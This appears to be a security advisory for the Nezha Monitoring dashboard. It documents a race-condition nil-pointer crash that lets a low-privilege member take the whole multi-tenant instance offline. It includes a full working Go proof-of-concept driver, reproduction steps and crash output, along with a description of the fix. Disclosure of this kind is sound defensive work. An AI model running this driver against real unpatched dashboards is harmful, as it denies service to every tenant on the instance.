Nezha Monitoring: Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant

Summary

A single low-privilege RoleMember can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at service/singleton/servicesentinel.go:601. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified.

Affected versions

Confirmed in v2.2.7 through v2.2.10. service/singleton/servicesentinel.go has the same vulnerable implementation in all four releases. The issue is fixed in v2.2.11 and later; users should upgrade to the latest release, v2.3.0.

The bug

The worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker.

The maps hold pointers, so a missing key returns nil and the first field write through it panics:

73:  serviceStatusToday       map[uint64]*_TodayStatsOfService
74:  serviceCurrentStatusData map[uint64]*serviceTaskStatus

The worker checks presence via Get, which takes servicesLock and releases it. canReportServiceResult rejects a nil service here, so at this point the service is known to exist:

532:  cs, _ := ss.Get(r.Data.GetId())          // servicesLock.RLock / RUnlock
535:  if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue }

For TCP/ICMP ping results, every AvgPingCount (default 2, TSDB off) the worker does a synchronous DB.Create at :569 holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a different lock and dereferences the maps with no recheck and no lazy create:

597:  ss.serviceResponseDataStoreLock.Lock()
600:  ss.serviceStatusToday[mh.GetId()].Delay = ...   // nil deref if deleted meanwhile
609:  ss.serviceCurrentStatusData[mh.GetId()].t ...   // same hazard

Meanwhile Delete removes both entries under serviceResponseDataStoreLock, running on the HTTP-handler goroutine, a different goroutine from the single worker:

378:  func (ss *ServiceSentinel) Delete(ids []uint64) {
387:      delete(ss.serviceCurrentStatusData, id)
390:      delete(ss.serviceStatusToday, id)

The precise point: the check reads the services map under servicesLock; the write touches serviceStatusToday under serviceResponseDataStoreLock. Holding the second lock at :600 proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so -race reports nothing; the staleness lives across the two locks, not inside one memory location.

Two supporting facts. The ping map a few lines up self-heals on a miss (:543), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (cmd/dashboard/rpc/rpc.go:37), no recovery, so the worker panic is fatal to the whole process rather than a dropped request.

Reachability

Both legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over POST /api/v1/service and POST /api/v1/batch-delete/service, which pass CheckPermission for an owned service. No admin rights, no other tenant involved. batchDeleteService reaches ServiceSentinel.Delete synchronously on a separate goroutine from the worker, so the two interleave freely.

Code flow

member agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing}
  -> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...})
  -> serviceReportChannel -> single worker goroutine:
        Get(id)  [servicesLock] present ......+  <- TOCTOU check (:532/:535)
        DB.Create(ServiceHistory)  (gap)      |
                                              |  member HTTP: POST /api/v1/batch-delete/service
                                              |  -> batchDeleteService (CheckPermission: own OK)
                                              |  -> ServiceSentinel.Delete([id]) (synchronous)
                                              |     [serviceResponseDataStoreLock] delete(serviceStatusToday,id)
        serviceResponseDataStoreLock.Lock() <-+
        serviceStatusToday[id].Delay = ...      <- id now absent -> nil deref -> SIGSEGV (:600)

Proof of concept

Environment: dashboard built from fd31e5f1 on go1.26.4, SQLite, bound to 127.0.0.1:8008, with avg_ping_count: 2 and TSDB disabled (both defaults). Everything runs against the real running binary using the project's own generated proto client and a plain HTTP client. No mocks, no in-process calls. The driver uses only the member's own credentials, targets only the member's own service, and is strictly for local authorized testing.

The driver

Placed at cmd/pocdos/main.go inside a checkout of the target repo (so the github.com/nezhahq/nezha/proto import resolves), built with go build ./cmd/pocdos.

import (
	"bytes"
	"context"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"log"
	"math/rand"
	"net/http"
	"os"
	"sync"
	"sync/atomic"
	"time"

	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials/insecure"
	"google.golang.org/grpc/metadata"

	pb "github.com/nezhahq/nezha/proto"
)

var (
	grpcAddr = flag.String("grpc", "127.0.0.1:8008", "")
	baseURL  = flag.String("url", "http://127.0.0.1:8008", "")
	secret   = flag.String("secret", "", "m1 agent secret")
	uuid     = flag.String("uuid", "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", "")
	token    = flag.String("token", "", "m1 jwt")
	csrf     = flag.String("csrf", "", "m1 csrf")
	dur      = flag.Duration("dur", 90*time.Second, "")
	churn    = flag.Int("churn", 16, "concurrent create/delete workers")
)

var httpc = &http.Client{Timeout: 5 * time.Second, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConnsPerHost: 256}}

func req(method, path string, body []byte) ([]byte, int) {
	r, _ := http.NewRequest(method, *baseURL+path, bytes.NewReader(body))
	r.Header.Set("Content-Type", "application/json")
	r.Header.Set("Authorization", "Bearer "+*token)
	r.Header.Set("X-CSRF-Token", *csrf)
	r.AddCookie(&http.Cookie{Name: "nz-csrf", Value: *csrf})
	r.AddCookie(&http.Cookie{Name: "nz-jwt", Value: *token})
	resp, err := httpc.Do(r)
	if err != nil {
		return []byte(err.Error()), 0
	}
	defer resp.Body.Close()
	b, _ := io.ReadAll(resp.Body)
	return b, resp.StatusCode
}

func createSvc() (uint64, bool) {
	b, _ := req("POST", "/api/v1/service", []byte(`{"name":"p","target":"127.0.0.1:8008","type":3,"cover":0,"duration":30}`))
	var id uint64
	if n, _ := fmt.Sscanf(string(b), `{"success":true,"data":%d}`, &id); n == 1 {
		return id, true
	}
	return 0, false
}

func deleteSvc(id uint64) {
	req("POST", "/api/v1/batch-delete/service", []byte(fmt.Sprintf("[%d]", id)))
}

func main() {
	flag.Parse()
	rand.Seed(time.Now().UnixNano())

	conn, err := grpc.NewClient(*grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials()))
	if err != nil {
		log.Fatal(err)
	}
	cli := pb.NewNezhaServiceClient(conn)
	authCtx := func(ctx context.Context) context.Context {
		return metadata.AppendToOutgoingContext(ctx, "client_uuid", *uuid, "client_secret", *secret)
	}

	// 1) register a server owned by m1
	if _, err := cli.ReportSystemInfo2(authCtx(context.Background()), &pb.Host{Platform: "poc", Arch: "poc"}); err != nil {
		log.Fatalf("register(ReportSystemInfo2) rejected: %v", err)
	}
	log.Println("server registered as m1 agent")

	// 2) open the RequestTask bidi stream (this agent now holds the task stream)
	stream, err := cli.RequestTask(authCtx(context.Background()))
	if err != nil {
		log.Fatalf("RequestTask open: %v", err)
	}
	go func() { // drain server->agent Task frames
		for {
			if _, err := stream.Recv(); err != nil {
				return
			}
		}
	}()

	// shared set of currently-alive service ids
	var mu sync.Mutex
	active := map[uint64]struct{}{}
	addID := func(id uint64) { mu.Lock(); active[id] = struct{}{}; mu.Unlock() }
	delID := func(id uint64) { mu.Lock(); delete(active, id); mu.Unlock() }
	snapshot := func() []uint64 {
		mu.Lock()
		defer mu.Unlock()
		out := make([]uint64, 0, len(active))
		for id := range active {
			out = append(out, id)
		}
		return out
	}

	var sent, dels int64
	stop := time.After(*dur)
	var wg sync.WaitGroup

	// churn workers: create -> arm -> delete
	for i := 0; i < *churn; i++ {
		wg.Add(1)
		go func() {
			defer wg.Done()
			for {
				select {
				case <-stop:
					return
				default:
				}
				id, ok := createSvc()
				if !ok {
					time.Sleep(time.Millisecond)
					continue
				}
				addID(id)
				// let the flood push a few reports for this id into the worker's gap
				time.Sleep(time.Duration(1+rand.Intn(3)) * time.Millisecond)
				deleteSvc(id)
				delID(id)
				atomic.AddInt64(&dels, 1)
			}
		}()
	}

	// single flood goroutine (grpc stream Send is not concurrency-safe)
	wg.Add(1)
	go func() {
		defer wg.Done()
		for {
			select {
			case <-stop:
				return
			default:
			}
			ids := snapshot()
			for _, id := range ids {
				if err := stream.Send(&pb.TaskResult{
					Id:         id,
					Type:       3, // TCPPing
					Delay:      float32(1 + rand.Intn(50)),
					Successful: true,
				}); err != nil {
					fmt.Printf("STREAM_SEND_ERR=%v (dashboard likely crashed)\n", err)
					return
				}
				atomic.AddInt64(&sent, 1)
			}
		}
	}()

	// liveness probe: if the dashboard process dies, the API stops answering
	go func() {
		for {
			select {
			case <-stop:
				return
			case <-time.After(500 * time.Millisecond):
				_, code := req("GET", "/api/v1/user", nil)
				if code == 0 {
					fmt.Printf("LIVENESS_FAIL at sent=%d dels=%d, dashboard not answering\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))
					os.Exit(7)
				}
			}
		}
	}()

	wg.Wait()
	fmt.Printf("DONE without crash: sent=%d deletes=%d\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))
}

The gRPC leg registers a server under the member's own agent secret via ReportSystemInfo2, opens RequestTask, then floods TaskResult{Type: 3 (TCPPing)} for every alive service id from a single goroutine (stream.Send is not concurrency-safe). The REST leg's churn workers loop createSvc → sleep 1–3 ms to let the flood push repeated reports into the worker's gap → deleteSvc, which fires ServiceSentinel.Delete and removes the map entry the worker is about to dereference. The liveness probe hits GET /api/v1/user every 500 ms and exits 7 on connection refused, which is the crash signal.

Steps to reproduce

1. In a checkout of nezha at fd31e5f1, drop the file at cmd/pocdos/main.go and build: go build -o pocdos ./cmd/pocdos.
2. Start the dashboard (SQLite, avg_ping_count: 2, TSDB off) and complete first-run. Create a RoleMember, register a server under its agent secret, and log the member in to obtain its JWT and CSRF.
3. Run with the member's own credentials: ./pocdos -secret "$M1_AGENT_SECRET" -token "$M1_JWT" -csrf "$M1_CSRF" -dur 30s -churn 4.

Results

On an unpatched build the driver prints STREAM_SEND_ERR=EOF + LIVENESS_FAIL + exit 7 within about half a second, and the dashboard's stderr shows the panic:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x12966c8]
github.com/nezhahq/nezha/service/singleton.(*ServiceSentinel).worker(...)
    .../service/singleton/servicesentinel.go:601
created by ...NewServiceSentinel in goroutine 1
    .../service/singleton/servicesentinel.go:127

Process death confirmed right after: ps -p <pid> shows the pid gone, curl http://127.0.0.1:8008/api/v1/ returns http_code=000, ss -ltn | grep 8008 shows no listener.

Under go build -race the same run reports zero WARNING: DATA RACE and still crashes with the identical nil-deref, which confirms this is a logical cross-lock TOCTOU rather than a memory race. Under a normal build, reproducibility with a fresh database per trial, a 30-second cap, and four churn workers was 5 of 5, mean time-to-crash 0.5s. Each individual window is small, but the driver retries it tens of thousands of times a second and wins by volume, so it is fast and reliable, not a lucky single shot. -churn 4 was already 5/5; the 16 default is heavier than needed.

Fix

Fixed in commit c893aa57867d8a3d608e2f2f16d1594c9766cdf3, released as v2.2.11 and v2.3.0. The worker now acquires serviceResponseDataStoreLock before any report side effect, re-reads the current service and status entries, and re-runs canReportServiceResult while the lifecycle lock is held. Delete and Update therefore serialize with report processing, so reports for deleted services or reports invalidated by an update are discarded before history, status, notification, or TLS side effects.

The fix also clears ping and TLS caches during deletion and makes LoadStats follow the lifecycle lock order, preventing stale cache state and an ABBA deadlock window. Deterministic lifecycle tests cover deletion, update revalidation, lock order, and TLS side effects. The full unit suite, race-and-shuffle suite, go vet, CodeQL, and release builds passed before publication.